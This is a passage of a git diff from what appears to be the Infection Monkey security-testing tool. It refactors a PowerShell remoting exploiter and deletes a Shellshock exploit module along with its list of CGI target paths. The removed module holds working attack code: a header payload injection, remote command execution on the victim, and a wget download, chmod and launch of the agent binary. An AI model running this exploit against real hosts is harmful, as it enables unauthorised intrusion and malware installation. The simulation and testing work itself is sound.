Path(f"./monkey_temp_bin_{get_random_file_suffix()}") + + self._create_local_agent_file(temp_monkey_binary_filepath) + + try: + logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}") + self._client.copy_file(temp_monkey_binary_filepath, monkey_path_on_victim) + except Exception as ex: + raise RemoteAgentCopyError(f"Failed to copy the agent binary to the victim: {ex}") finally: - if os.path.isfile(TEMP_MONKEY_BINARY_FILEPATH): - os.remove(TEMP_MONKEY_BINARY_FILEPATH) + if temp_monkey_binary_filepath.is_file(): + temp_monkey_binary_filepath.unlink() - return is_monkey_copy_successful + def _create_local_agent_file(self, binary_path): + agent_binary_bytes = self.agent_repository.get_agent_binary("windows") + with open(binary_path, "wb") as f: + f.write(agent_binary_bytes.getvalue()) - def _write_virtual_file_to_local_path(self) -> None: - monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit) - - with monkeyfs.open(monkey_fs_path) as monkey_virtual_file: - with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file: - monkey_local_file.write(monkey_virtual_file.read()) - - def _run_monkey_executable_on_victim(self, executable_path) -> None: + def _run_monkey_executable_on_victim(self, executable_path): monkey_execution_command = build_monkey_execution_command( - self.host, get_monkey_depth() - 1, executable_path + self.host, self.current_depth - 1, executable_path ) logger.info( @@ -208,7 +182,6 @@ def build_monkey_execution_command(host: VictimHost, depth: int, executable_path monkey_params = build_monkey_commandline( target_host=host, depth=depth, - vulnerable_port=None, location=executable_path, ) diff --git a/monkey/infection_monkey/utils/plugins/__init__.py b/monkey/infection_monkey/exploit/powershell_utils/__init__.py similarity index 100% rename from monkey/infection_monkey/utils/plugins/__init__.py rename to monkey/infection_monkey/exploit/powershell_utils/__init__.py diff --git a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py index 1f53c1df5..0ae8cb266 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/auth_options.py +++ b/monkey/infection_monkey/exploit/powershell_utils/auth_options.py @@ -1,6 +1,7 @@ from dataclasses import dataclass from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType +from infection_monkey.model.host import VictimHost AUTH_BASIC = "basic" AUTH_NEGOTIATE = "negotiate" @@ -16,17 +17,27 @@ class AuthOptions: ssl: bool -def get_auth_options(credentials: Credentials, use_ssl: bool) -> AuthOptions: - ssl = _get_ssl(credentials, use_ssl) +def get_auth_options(credentials: Credentials, host: VictimHost) -> AuthOptions: + ssl = _get_ssl(credentials, host) auth_type = _get_auth_type(credentials) encryption = _get_encryption(credentials) return AuthOptions(auth_type, encryption, ssl) -def _get_ssl(credentials: Credentials, use_ssl): +def _get_ssl(credentials: Credentials, host: VictimHost) -> bool: # Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER - return False if credentials.secret == "" else use_ssl + if credentials.secret == "": + return False + + # Check if default PSRemoting ports are open. Prefer with SSL, if both are. + if "tcp-5986" in host.services: # Default for HTTPS + return True + + if "tcp-5985" in host.services: # Default for HTTP + return False + + return False def _get_auth_type(credentials: Credentials): diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index 6727ac67c..df2cf65b1 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -1,6 +1,7 @@ import abc import logging -from typing import Optional, Union +from pathlib import Path, PurePath +from typing import Optional import pypsrp import spnego @@ -10,10 +11,8 @@ from pypsrp.powershell import PowerShell, RunspacePool from typing_extensions import Protocol from urllib3 import connectionpool -from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType -from infection_monkey.model import GET_ARCH_WINDOWS logger = logging.getLogger(__name__) @@ -56,16 +55,16 @@ def format_password(credentials: Credentials) -> Optional[str]: class IPowerShellClient(Protocol, metaclass=abc.ABCMeta): + @abc.abstractmethod + def connect(self) -> str: + pass + @abc.abstractmethod def execute_cmd(self, cmd: str) -> str: pass @abc.abstractmethod - def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]: - pass - - @abc.abstractmethod - def copy_file(self, src: str, dest: str) -> bool: + def copy_file(self, src: Path, dest: PurePath) -> bool: pass @abc.abstractmethod @@ -78,38 +77,38 @@ class PowerShellClient(IPowerShellClient): _set_sensitive_packages_log_level_to_error() self._ip_addr = ip_addr + self._credentials = credentials + self._auth_options = auth_options + self._client = None + + def connect(self): self._client = Client( - ip_addr, - username=credentials.username, - password=format_password(credentials), + self._ip_addr, + username=self._credentials.username, + password=format_password(self._credentials), cert_validation=False, - auth=auth_options.auth_type, - encryption=auth_options.encryption, - ssl=auth_options.ssl, + auth=self._auth_options.auth_type, + encryption=self._auth_options.encryption, + ssl=self._auth_options.ssl, connection_timeout=CONNECTION_TIMEOUT, ) + # Attempt to execute dir command to know if authentication was successful. This will raise + # an exception if authentication was not successful. + self.execute_cmd("dir") + logger.debug("Successfully authenticated to remote PowerShell service") + def execute_cmd(self, cmd: str) -> str: output, _, _ = self._client.execute_cmd(cmd) return output - def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]: - stdout, _, _ = self._client.execute_cmd(GET_ARCH_WINDOWS) - if "64-bit" in stdout: - return WIN_ARCH_64 - - return WIN_ARCH_32 - - def copy_file(self, src: str, dest: str) -> bool: + def copy_file(self, src: Path, dest: PurePath): try: - self._client.copy(src, dest) + self._client.copy(str(src), str(dest)) logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}") - - return True except Exception as ex: logger.error(f"Failed to copy {src} to {dest} on {self._ip_addr}: {ex}") - - return False + raise ex def execute_cmd_as_detached_process(self, cmd: str): logger.debug( diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py deleted file mode 100644 index efe0c10cc..000000000 --- a/monkey/infection_monkey/exploit/shellshock.py +++ /dev/null @@ -1,279 +0,0 @@ -# Implementation is based on shellshock script provided -# https://github.com/nccgroup/shocker/blob/master/shocker.py - -import logging -import string -from random import SystemRandom - -import requests - -from common.utils.attack_utils import ScanStatus -from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.shellshock_resources import CGI_FILES -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey -from infection_monkey.exploit.tools.http_tools import HTTPTools -from infection_monkey.model import DROPPER_ARG -from infection_monkey.telemetry.attack.t1222_telem import T1222Telem -from infection_monkey.utils.commands import build_monkey_commandline - -logger = logging.getLogger(__name__) -TIMEOUT = 2 -TEST_COMMAND = "/bin/uname -a" -DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder -LOCK_HELPER_FILE = "/tmp/monkey_shellshock" - - -class ShellShockExploiter(HostExploiter): - _attacks = {"Content-type": "() { :;}; echo; "} - - _TARGET_OS_TYPE = ["linux"] - _EXPLOITED_SERVICE = "Bash" - - def __init__(self, host): - super(ShellShockExploiter, self).__init__(host) - self.HTTP = [str(port) for port in self._config.HTTP_PORTS] - safe_random = SystemRandom() - self.success_flag = "".join( - safe_random.choice(string.ascii_uppercase + string.digits) for _ in range(20) - ) - self.skip_exist = self._config.skip_exploit_if_file_exist - - def _exploit_host(self): - # start by picking ports - candidate_services = { - service: self.host.services[service] - for service in self.host.services - if ("name" in self.host.services[service]) - and (self.host.services[service]["name"] == "http") - } - - valid_ports = [ - (port, candidate_services["tcp-" + str(port)]["data"][1]) - for port in self.HTTP - if "tcp-" + str(port) in candidate_services - ] - http_ports = [port[0] for port in valid_ports if not port[1]] - https_ports = [port[0] for port in valid_ports if port[1]] - - logger.info( - "Scanning %s, ports [%s] for vulnerable CGI pages" - % (self.host, ",".join([str(port[0]) for port in valid_ports])) - ) - - attackable_urls = [] - # now for each port we want to check the entire URL list - for port in http_ports: - urls = self.check_urls(self.host.ip_addr, port) - attackable_urls.extend(urls) - for port in https_ports: - urls = self.check_urls(self.host.ip_addr, port, is_https=True) - attackable_urls.extend(urls) - # now for each URl we want to try and see if it's attackable - exploitable_urls = [self.attempt_exploit(url) for url in attackable_urls] - exploitable_urls = [url for url in exploitable_urls if url[0] is True] - - # we want to report all vulnerable URLs even if we didn't succeed - self.exploit_info["vulnerable_urls"] = [url[1] for url in exploitable_urls] - - # now try URLs until we install something on victim - for _, url, header, exploit in exploitable_urls: - logger.info("Trying to attack host %s with %s URL" % (self.host, url)) - # same attack script as sshexec - # for any failure, quit and don't try other URLs - if not self.host.os.get("type"): - try: - uname_os_attack = exploit + "/bin/uname -o" - uname_os = self.attack_page(url, header, uname_os_attack) - if "linux" in uname_os: - self.host.os["type"] = "linux" - else: - logger.info("SSH Skipping unknown os: %s", uname_os) - return False - except Exception as exc: - logger.debug( - "Error running uname os command on victim %r: (%s)", self.host, exc - ) - return False - if not self.host.os.get("machine"): - try: - uname_machine_attack = exploit + "/bin/uname -m" - uname_machine = self.attack_page(url, header, uname_machine_attack) - if "" != uname_machine: - self.host.os["machine"] = uname_machine.lower().strip() - except Exception as exc: - logger.debug( - "Error running uname machine command on victim %r: (%s)", self.host, exc - ) - return False - - # copy the monkey - dropper_target_path_linux = self._config.dropper_target_path_linux - if self.skip_exist and ( - self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux) - ): - logger.info( - "Host %s was already infected under the current configuration, " - "done" % self.host - ) - return True # return already infected - - src_path = get_target_monkey(self.host) - if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False - - if not self._create_lock_file(exploit, url, header): - logger.info("Another monkey is running shellshock exploit") - return True - - http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) - - if not http_path: - logger.debug("Exploiter ShellShock failed, http transfer creation failed.") - return False - - download_command = "/usr/bin/wget %s -O %s;" % (http_path, dropper_target_path_linux) - - download = exploit + download_command - self.attack_page( - url, header, download - ) # we ignore failures here since it might take more than TIMEOUT time - - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - - self._remove_lock_file(exploit, url, header) - - if (http_thread.downloads != 1) or ( - "ELF" - not in self.check_remote_file_exists( - url, header, exploit, dropper_target_path_linux - ) - ): - logger.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) - continue - - # turn the monkey into an executable - chmod = "/bin/chmod +x %s" % dropper_target_path_linux - run_path = exploit + chmod - self.attack_page(url, header, run_path) - T1222Telem(ScanStatus.USED, chmod, self.host).send() - - # run the monkey - cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) - cmdline += build_monkey_commandline( - self.host, - get_monkey_depth() - 1, - HTTPTools.get_port_from_url(url), - dropper_target_path_linux, - ) - cmdline += " & " - run_path = exploit + cmdline - self.attack_page(url, header, run_path) - - logger.info( - "Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, - self.host, - cmdline, - ) - - if not ( - self.check_remote_file_exists( - url, header, exploit, self._config.monkey_log_path_linux - ) - ): - logger.info("Log file does not exist, monkey might not have run") - continue - self.add_executed_cmd(cmdline) - return True - - return False - - @classmethod - def check_remote_file_exists(cls, url, header, exploit, file_path): - """ - Checks if a remote file exists and returns the content if so - file_path should be fully qualified - """ - cmdline = "/usr/bin/head -c 4 %s" % file_path - run_path = exploit + cmdline - resp = cls.attack_page(url, header, run_path) - if resp: - logger.info("File %s exists on remote host" % file_path) - return resp - - def attempt_exploit(self, url, attacks=None): - # Flag used to identify whether the exploit has successfully caused the - # server to return a useful response - - if not attacks: - attacks = self._attacks - - logger.debug("Attack Flag is: %s" % self.success_flag) - - logger.debug("Trying exploit for %s" % url) - for header, exploit in list(attacks.items()): - attack = exploit + " echo " + self.success_flag + "; " + TEST_COMMAND - result = self.attack_page(url, header, attack) - if self.success_flag in result: - logger.info("URL %s looks vulnerable" % url) - return True, url, header, exploit - else: - logger.debug("URL %s does not seem to be vulnerable with %s header" % (url, header)) - return (False,) - - def _create_lock_file(self, exploit, url, header): - if self.check_remote_file_exists(url, header, exploit, LOCK_HELPER_FILE): - return False - cmd = exploit + "echo AAAA > %s" % LOCK_HELPER_FILE - self.attack_page(url, header, cmd) - return True - - def _remove_lock_file(self, exploit, url, header): - cmd = exploit + "rm %s" % LOCK_HELPER_FILE - self.attack_page(url, header, cmd) - - @staticmethod - def attack_page(url, header, attack): - result = "" - try: - logger.debug("Header is: %s" % header) - logger.debug("Attack is: %s" % attack) - r = requests.get( # noqa: DUO123 - url, headers={header: attack}, verify=False, timeout=TIMEOUT - ) - result = r.content.decode() - return result - except requests.exceptions.RequestException as exc: - logger.debug("Failed to run, exception %s" % exc) - return result - - @staticmethod - def check_urls(host, port, is_https=False, url_list=CGI_FILES): - """ - Checks if which urls exist - :return: Sequence of URLs to try and attack - """ - attack_path = "http://" - if is_https: - attack_path = "https://" - attack_path = attack_path + str(host) + ":" + str(port) - reqs = [] - timeout = False - attack_urls = [attack_path + url for url in url_list] - for u in attack_urls: - try: - reqs.append(requests.head(u, verify=False, timeout=TIMEOUT)) # noqa: DUO123 - except requests.Timeout: - timeout = True - break - if timeout: - logger.debug( - "Some connections timed out while sending request to potentially vulnerable " - "urls." - ) - valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok] - urls = [resp.url for resp in valid_resps] - - return urls diff --git a/monkey/infection_monkey/exploit/shellshock_resources.py b/monkey/infection_monkey/exploit/shellshock_resources.py deleted file mode 100644 index 3a128b23e..000000000 --- a/monkey/infection_monkey/exploit/shellshock_resources.py +++ /dev/null @@ -1,408 +0,0 @@ -# resource for shellshock attack -# copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list - -CGI_FILES = ( - r"/", - r"/admin.cgi", - r"/administrator.cgi", - r"/agora.cgi", - r"/aktivate/cgi-bin/catgy.cgi", - r"/analyse.cgi", - r"/apps/web/vs_diag.cgi", - r"/axis-cgi/buffer/command.cgi", - r"/b2-include/b2edit.showposts.php", - r"/bandwidth/index.cgi", - r"/bigconf.cgi", - r"/cartcart.cgi", - r"/cart.cgi", - r"/ccbill/whereami.cgi", - r"/cgi-bin/14all-1.1.cgi", - r"/cgi-bin/14all.cgi", - r"/cgi-bin/a1disp3.cgi", - r"/cgi-bin/a1stats/a1disp3.cgi", - r"/cgi-bin/a1stats/a1disp4.cgi", - r"/cgi-bin/addbanner.cgi", - r"/cgi-bin/add_ftp.cgi", - r"/cgi-bin/adduser.cgi", - r"/cgi-bin/admin/admin.cgi", - r"/cgi-bin/admin.cgi", - r"/cgi-bin/admin/getparam.cgi", - r"/cgi-bin/adminhot.cgi", - r"/cgi-bin/admin.pl", - r"/cgi-bin/admin/setup.cgi", - r"/cgi-bin/adminwww.cgi", - r"/cgi-bin/af.cgi", - r"/cgi-bin/aglimpse.cgi", - r"/cgi-bin/alienform.cgi", - r"/cgi-bin/AnyBoard.cgi", - r"/cgi-bin/architext_query.cgi", - r"/cgi-bin/astrocam.cgi", - r"/cgi-bin/AT-admin.cgi", - r"/cgi-bin/AT-generate.cgi", - r"/cgi-bin/auction/auction.cgi", - r"/cgi-bin/auktion.cgi", - r"/cgi-bin/ax-admin.cgi", - r"/cgi-bin/ax.cgi", - r"/cgi-bin/axs.cgi", - r"/cgi-bin/badmin.cgi", - r"/cgi-bin/banner.cgi", - r"/cgi-bin/bannereditor.cgi", - r"/cgi-bin/bb-ack.sh", - r"/cgi-bin/bb-histlog.sh", - r"/cgi-bin/bb-hist.sh", - r"/cgi-bin/bb-hostsvc.sh", - r"/cgi-bin/bb-replog.sh", - r"/cgi-bin/bb-rep.sh", - r"/cgi-bin/bbs_forum.cgi", - r"/cgi-bin/bigconf.cgi", - r"/cgi-bin/bizdb1-search.cgi", - r"/cgi-bin/blog/mt-check.cgi", - r"/cgi-bin/blog/mt-load.cgi", - r"/cgi-bin/bnbform.cgi", - r"/cgi-bin/book.cgi", - r"/cgi-bin/boozt/admin/index.cgi", - r"/cgi-bin/bsguest.cgi", - r"/cgi-bin/bslist.cgi", - r"/cgi-bin/build.cgi", - r"/cgi-bin/bulk/bulk.cgi", - r"/cgi-bin/cached_feed.cgi", - r"/cgi-bin/cachemgr.cgi", - r"/cgi-bin/calendar/index.cgi", - r"/cgi-bin/cartmanager.cgi", - r"/cgi-bin/cbmc/forums.cgi", - r"/cgi-bin/ccvsblame.cgi", - r"/cgi-bin/c_download.cgi", - r"/cgi-bin/cgforum.cgi", - r"/cgi-bin/.cgi", - r"/cgi-bin/cgi_process", - r"/cgi-bin/classified.cgi", - r"/cgi-bin/classifieds.cgi", - r"/cgi-bin/classifieds/classifieds.cgi", - r"/cgi-bin/classifieds/index.cgi", - r"/cgi-bin/.cobalt/alert/service.cgi", - r"/cgi-bin/.cobalt/message/message.cgi", - r"/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi", - r"/cgi-bin/commandit.cgi", - r"/cgi-bin/commerce.cgi", - r"/cgi-bin/common/listrec.pl", - r"/cgi-bin/compatible.cgi", - r"/cgi-bin/Count.cgi", - r"/cgi-bin/csChatRBox.cgi", - r"/cgi-bin/csGuestBook.cgi", - r"/cgi-bin/csLiveSupport.cgi", - r"/cgi-bin/CSMailto.cgi", - r"/cgi-bin/CSMailto/CSMailto.cgi", - r"/cgi-bin/csNews.cgi", - r"/cgi-bin/csNewsPro.cgi", - r"/cgi-bin/csPassword.cgi", - r"/cgi-bin/csPassword/csPassword.cgi", - r"/cgi-bin/csSearch.cgi", - r"/cgi-bin/csv_db.cgi", - r"/cgi-bin/cvsblame.cgi", - r"/cgi-bin/cvslog.cgi", - r"/cgi-bin/cvsquery.cgi", - r"/cgi-bin/cvsqueryform.cgi", - r"/cgi-bin/day5datacopier.cgi", - r"/cgi-bin/day5datanotifier.cgi", - r"/cgi-bin/db_manager.cgi", - r"/cgi-bin/dbman/db.cgi", - r"/cgi-bin/dcforum.cgi", - r"/cgi-bin/dcshop.cgi", - r"/cgi-bin/dfire.cgi", - r"/cgi-bin/diagnose.cgi", - r"/cgi-bin/dig.cgi", - r"/cgi-bin/directorypro.cgi", - r"/cgi-bin/download.cgi", - r"/cgi-bin/e87_Ba79yo87.cgi", - r"/cgi-bin/emu/html/emumail.cgi", - r"/cgi-bin/emumail.cgi", - r"/cgi-bin/emumail/emumail.cgi", - r"/cgi-bin/enter.cgi", - r"/cgi-bin/environ.cgi", - r"/cgi-bin/ezadmin.cgi", - r"/cgi-bin/ezboard.cgi", - r"/cgi-bin/ezman.cgi", - r"/cgi-bin/ezshopper2/loadpage.cgi", - r"/cgi-bin/ezshopper3/loadpage.cgi", - r"/cgi-bin/ezshopper/loadpage.cgi", - r"/cgi-bin/ezshopper/search.cgi", - r"/cgi-bin/faqmanager.cgi", - r"/cgi-bin/FileSeek2.cgi", - r"/cgi-bin/FileSeek.cgi", - r"/cgi-bin/finger.cgi", - r"/cgi-bin/flexform.cgi", - r"/cgi-bin/fom.cgi", - r"/cgi-bin/fom/fom.cgi", - r"/cgi-bin/FormHandler.cgi", - r"/cgi-bin/FormMail.cgi", - r"/cgi-bin/gbadmin.cgi", - r"/cgi-bin/gbook/gbook.cgi", - r"/cgi-bin/generate.cgi", - r"/cgi-bin/getdoc.cgi", - r"/cgi-bin/gH.cgi", - r"/cgi-bin/gm-authors.cgi", - r"/cgi-bin/gm.cgi", - r"/cgi-bin/gm-cplog.cgi", - r"/cgi-bin/guestbook.cgi", - r"/cgi-bin/handler", - r"/cgi-bin/handler.cgi", - r"/cgi-bin/handler/netsonar", - r"/cgi-bin/hitview.cgi", - r"/cgi-bin/hsx.cgi", - r"/cgi-bin/html2chtml.cgi", - r"/cgi-bin/html2wml.cgi", - r"/cgi-bin/htsearch.cgi", - r"/cgi-bin/hw.sh", # testing - r"/cgi-bin/icat", - r"/cgi-bin/if/admin/nph-build.cgi", - r"/cgi-bin/ikonboard/help.cgi", - r"/cgi-bin/ImageFolio/admin/admin.cgi", - r"/cgi-bin/imageFolio.cgi", - r"/cgi-bin/index.cgi", - r"/cgi-bin/infosrch.cgi", - r"/cgi-bin/jammail.pl", - r"/cgi-bin/journal.cgi", - r"/cgi-bin/lastlines.cgi", - r"/cgi-bin/loadpage.cgi", - r"/cgi-bin/login.cgi", - r"/cgi-bin/logit.cgi", - r"/cgi-bin/log-reader.cgi", - r"/cgi-bin/lookwho.cgi", - r"/cgi-bin/lwgate.cgi", - r"/cgi-bin/MachineInfo", - r"/cgi-bin/MachineInfo", - r"/cgi-bin/magiccard.cgi", - r"/cgi-bin/mail/emumail.cgi", - r"/cgi-bin/maillist.cgi", - r"/cgi-bin/mailnews.cgi", - r"/cgi-bin/mail/nph-mr.cgi", - r"/cgi-bin/main.cgi", - r"/cgi-bin/main_menu.pl", - r"/cgi-bin/man.sh", - r"/cgi-bin/mini_logger.cgi", - r"/cgi-bin/mmstdod.cgi", - r"/cgi-bin/moin.cgi", - r"/cgi-bin/mojo/mojo.cgi", - r"/cgi-bin/mrtg.cgi", - r"/cgi-bin/mt.cgi", - r"/cgi-bin/mt/mt.cgi", - r"/cgi-bin/mt/mt-check.cgi", - r"/cgi-bin/mt/mt-load.cgi", - r"/cgi-bin/mt-static/mt-check.cgi", - r"/cgi-bin/mt-static/mt-load.cgi", - r"/cgi-bin/musicqueue.cgi", - r"/cgi-bin/myguestbook.cgi", - r"/cgi-bin/.namazu.cgi", - r"/cgi-bin/nbmember.cgi", - r"/cgi-bin/netauth.cgi", - r"/cgi-bin/netpad.cgi", - r"/cgi-bin/newsdesk.cgi", - r"/cgi-bin/nlog-smb.cgi", - r"/cgi-bin/nph-emumail.cgi", - r"/cgi-bin/nph-exploitscanget.cgi", - r"/cgi-bin/nph-publish.cgi", - r"/cgi-bin/nph-test.cgi", - r"/cgi-bin/pagelog.cgi", - r"/cgi-bin/pbcgi.cgi", - r"/cgi-bin/perlshop.cgi", - r"/cgi-bin/pfdispaly.cgi", - r"/cgi-bin/pfdisplay.cgi", - r"/cgi-bin/phf.cgi", - r"/cgi-bin/photo/manage.cgi", - r"/cgi-bin/photo/protected/manage.cgi", - r"/cgi-bin/php-cgi", - r"/cgi-bin/php.cgi", - r"/cgi-bin/php.fcgi", - r"/cgi-bin/ping.sh", - r"/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi", - r"/cgi-bin/pollssi.cgi", - r"/cgi-bin/postcards.cgi", - r"/cgi-bin/powerup/r.cgi", - r"/cgi-bin/printenv", - r"/cgi-bin/probecontrol.cgi", - r"/cgi-bin/profile.cgi", - r"/cgi-bin/publisher/search.cgi", - r"/cgi-bin/quickstore.cgi", - r"/cgi-bin/quizme.cgi", - r"/cgi-bin/ratlog.cgi", - r"/cgi-bin/r.cgi", - r"/cgi-bin/register.cgi", - r"/cgi-bin/replicator/webpage.cgi/", - r"/cgi-bin/responder.cgi", - r"/cgi-bin/robadmin.cgi", - r"/cgi-bin/robpoll.cgi", - r"/cgi-bin/rtpd.cgi", - r"/cgi-bin/sbcgi/sitebuilder.cgi", - r"/cgi-bin/scoadminreg.cgi", - r"/cgi-bin-sdb/printenv", - r"/cgi-bin/sdbsearch.cgi", - r"/cgi-bin/search", - r"/cgi-bin/search.cgi", - r"/cgi-bin/search/search.cgi", - r"/cgi-bin/sendform.cgi", - r"/cgi-bin/shop.cgi", - r"/cgi-bin/shopper.cgi", - r"/cgi-bin/shopplus.cgi", - r"/cgi-bin/showcheckins.cgi", - r"/cgi-bin/simplestguest.cgi", - r"/cgi-bin/simplestmail.cgi", - r"/cgi-bin/smartsearch.cgi", - r"/cgi-bin/smartsearch/smartsearch.cgi", - r"/cgi-bin/snorkerz.bat", - r"/cgi-bin/snorkerz.bat", - r"/cgi-bin/snorkerz.cmd", - r"/cgi-bin/snorkerz.cmd", - r"/cgi-bin/sojourn.cgi", - r"/cgi-bin/spin_client.cgi", - r"/cgi-bin/start.cgi", - r"/cgi-bin/status", - r"/cgi-bin/status_cgi", - r"/cgi-bin/store/agora.cgi", - r"/cgi-bin/store.cgi", - r"/cgi-bin/store/index.cgi", - r"/cgi-bin/survey.cgi", - r"/cgi-bin/sync.cgi", - r"/cgi-bin/talkback.cgi", - r"/cgi-bin/technote/main.cgi", - r"/cgi-bin/test2.pl", - r"/cgi-bin/test-cgi", - r"/cgi-bin/test.cgi", - r"/cgi-bin/testing_whatever", - r"/cgi-bin/test/test.cgi", - r"/cgi-bin/tidfinder.cgi", - r"/cgi-bin/tigvote.cgi", - r"/cgi-bin/title.cgi", - r"/cgi-bin/top.cgi", - r"/cgi-bin/traffic.cgi", - r"/cgi-bin/troops.cgi", - r"/cgi-bin/ttawebtop.cgi/", - r"/cgi-bin/ultraboard.cgi", - r"/cgi-bin/upload.cgi", - r"/cgi-bin/urlcount.cgi", - r"/cgi-bin/viewcvs.cgi", - r"/cgi-bin/view_help.cgi", - r"/cgi-bin/viralator.cgi", - r"/cgi-bin/virgil.cgi", - r"/cgi-bin/vote.cgi", - r"/cgi-bin/vpasswd.cgi", - r"/cgi-bin/way-board.cgi", - r"/cgi-bin/way-board/way-board.cgi", - r"/cgi-bin/webbbs.cgi", - r"/cgi-bin/webcart/webcart.cgi", - r"/cgi-bin/webdist.cgi", - r"/cgi-bin/webif.cgi", - r"/cgi-bin/webmail/html/emumail.cgi", - r"/cgi-bin/webmap.cgi", - r"/cgi-bin/webspirs.cgi", - r"/cgi-bin/Web_Store/web_store.cgi", - r"/cgi-bin/whois.cgi", - r"/cgi-bin/whois_raw.cgi", - r"/cgi-bin/whois/whois.cgi", - r"/cgi-bin/wrap", - r"/cgi-bin/wrap.cgi", - r"/cgi-bin/wwwboard.cgi.cgi", - r"/cgi-bin/YaBB/YaBB.cgi", - r"/cgi-bin/zml.cgi", - r"/cgi-mod/index.cgi", - r"/cgis/wwwboard/wwwboard.cgi", - r"/cgi-sys/addalink.cgi", - r"/cgi-sys/defaultwebpage.cgi", - r"/cgi-sys/domainredirect.cgi", - r"/cgi-sys/entropybanner.cgi", - r"/cgi-sys/entropysearch.cgi", - r"/cgi-sys/FormMail-clone.cgi", - r"/cgi-sys/helpdesk.cgi", - r"/cgi-sys/mchat.cgi", - r"/cgi-sys/randhtml.cgi", - r"/cgi-sys/realhelpdesk.cgi", - r"/cgi-sys/realsignup.cgi", - r"/cgi-sys/signup.cgi", - r"/connector.cgi", - r"/cp/rac/nsManager.cgi", - r"/create_release.sh", - r"/CSNews.cgi", - r"/csPassword.cgi", - r"/dcadmin.cgi", - r"/dcboard.cgi", - r"/dcforum.cgi", - r"/dcforum/dcforum.cgi", - r"/debuff.cgi", - r"/debug.cgi", - r"/details.cgi", - r"/edittag/edittag.cgi", - r"/emumail.cgi", - r"/enter_buff.cgi", - r"/enter_bug.cgi", - r"/ez2000/ezadmin.cgi", - r"/ez2000/ezboard.cgi", - r"/ez2000/ezman.cgi", - r"/fcgi-bin/echo", - r"/fcgi-bin/echo", - r"/fcgi-bin/echo2", - r"/fcgi-bin/echo2", - r"/Gozila.cgi", - r"/hitmatic/analyse.cgi", - r"/hp_docs/cgi-bin/index.cgi", - r"/html/cgi-bin/cgicso", - r"/html/cgi-bin/cgicso", - r"/index.cgi", - r"/info.cgi", - r"/infosrch.cgi", - r"/login.cgi", - r"/mailview.cgi", - r"/main.cgi", - r"/megabook/admin.cgi", - r"/ministats/admin.cgi", - r"/mods/apage/apage.cgi", - r"/_mt/mt.cgi", - r"/musicqueue.cgi", - r"/ncbook.cgi", - r"/newpro.cgi", - r"/newsletter.sh", - r"/oem_webstage/cgi-bin/oemapp_cgi", - r"/page.cgi", - r"/parse_xml.cgi", - r"/photodata/manage.cgi", - r"/photo/manage.cgi", - r"/print.cgi", - r"/process_buff.cgi", - r"/process_bug.cgi", - r"/pub/english.cgi", - r"/quikmail/nph-emumail.cgi", - r"/quikstore.cgi", - r"/reviews/newpro.cgi", - r"/ROADS/cgi-bin/search.pl", - r"/sample01.cgi", - r"/sample02.cgi", - r"/sample03.cgi", - r"/sample04.cgi", - r"/sampleposteddata.cgi", - r"/scancfg.cgi", - r"/scancfg.cgi", - r"/servers/link.cgi", - r"/setpasswd.cgi", - r"/SetSecurity.shm", - r"/shop/member_html.cgi", - r"/shop/normal_html.cgi", - r"/site_searcher.cgi", - r"/siteUserMod.cgi", - r"/submit.cgi", - r"/technote/print.cgi", - r"/template.cgi", - r"/test.cgi", - r"/ucsm/isSamInstalled.cgi", - r"/upload.cgi", - r"/userreg.cgi", - r"/users/scripts/submit.cgi", - r"/vood/cgi-bin/vood_view.cgi", - r"/Web_Store/web_store.cgi", - r"/webtools/bonsai/ccvsblame.cgi", - r"/webtools/bonsai/cvsblame.cgi", - r"/webtools/bonsai/cvslog.cgi", - r"/webtools/bonsai/cvsquery.cgi", - r"/webtools/bonsai/cvsqueryform.cgi", - r"/webtools/bonsai/showcheckins.cgi", - r"/wwwadmin.cgi", - r"/wwwboard.cgi", - r"/wwwboard/wwwboard.cgi", -) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 8dfe8ed75..10b7009b0 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -1,144 +1,114 @@ from logging import getLogger from impacket.dcerpc.v5 import scmr, transport +from impacket.dcerpc.v5.scmr import DCERPCSessionError +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.utils.attack_utils import ScanStatus, UsageEnum -from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import 